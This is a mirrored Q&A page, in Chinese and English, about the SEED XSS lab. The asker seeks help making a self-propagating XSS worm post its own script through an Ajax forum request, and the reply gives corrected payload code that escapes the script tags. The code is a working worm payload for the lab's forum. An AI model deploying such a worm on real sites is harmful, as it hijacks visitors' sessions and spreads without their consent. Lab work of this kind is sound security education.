发送<脚本>ajax 内容中的标签

发布于 2024-12-18 05:42:14 字数 670 浏览 1 评论 0原文

我正在努力移植这个实验室： http://www .cis.syr.edu/~wedu/seed/Labs/Attacks_XSS/XSS.pdf

对于项目。然而，首先，我必须能够自己完成它。我正在尝试解决自我繁殖的蠕虫问题，但遇到了一些困难。如何通过内容发送脚本标签？如果我尝试：

var wormCode = getElementById("worm");
var escapedWorm = escape(wormCode.innerHTML);
content="topicTitle=testprop&postText=&forum=3&action=ptopic";
Ajax.send(内容);

该标签脱离了它所在的更大的 javascript。我也尝试将其拆分为 :

...+"</scr"+"ipt>&...

但这不起作用。

有什么建议吗？

编辑：更新了我最近的（我希望是准确的）尝试。

原文

I'm working on porting this lab: http://www.cis.syr.edu/~wedu/seed/Labs/Attacks_XSS/XSS.pdf

For a project. First, however, I have to be able to complete it myself. I'm trying to work out the self-propogating worm, and having some difficulties. How can I send a script tag through the content? If I try:

var wormCode = getElementById("worm");
var escapedWorm = escape(wormCode.innerHTML);
content="topicTitle=testprop&postText=<script>"+escapedWorm+"</script>&forum=3&action=ptopic";
Ajax.send(content);

The tag breaks out of the larger javascript this sits in. I've also tried splitting it up as :

...+"</scr"+"ipt>&...

but this did not work.

Any tips?

edit: updated with my more recent (and I hope, accurate) attempts.

分享到QQ

分享到微博

如果你对这篇内容有疑问，欢迎到本站社区发帖提问参与讨论，获取更多帮助，或者扫码二维码加入 Web 技术交流群。

发布评论

需要登录才能够评论，你可以免费注册一个本站的账号。

嗼ふ静 2024-12-25 05:42:14

var wormCode = getElementById("worm");
var escapedWorm = escape("<" + "script>" + wormCode.innerHTML + "</" + "script>");
content="topicTitle=testprop&forum=3&action=ptopic&postText="+escapedWorm;
Ajax.send(content);

您没有转义脚本标签。

var wormCode = getElementById("worm");
var escapedWorm = escape("<" + "script>" + wormCode.innerHTML + "</" + "script>");
content="topicTitle=testprop&forum=3&action=ptopic&postText="+escapedWorm;
Ajax.send(content);

You aren't escaping the script tags.

回复收藏 0 原文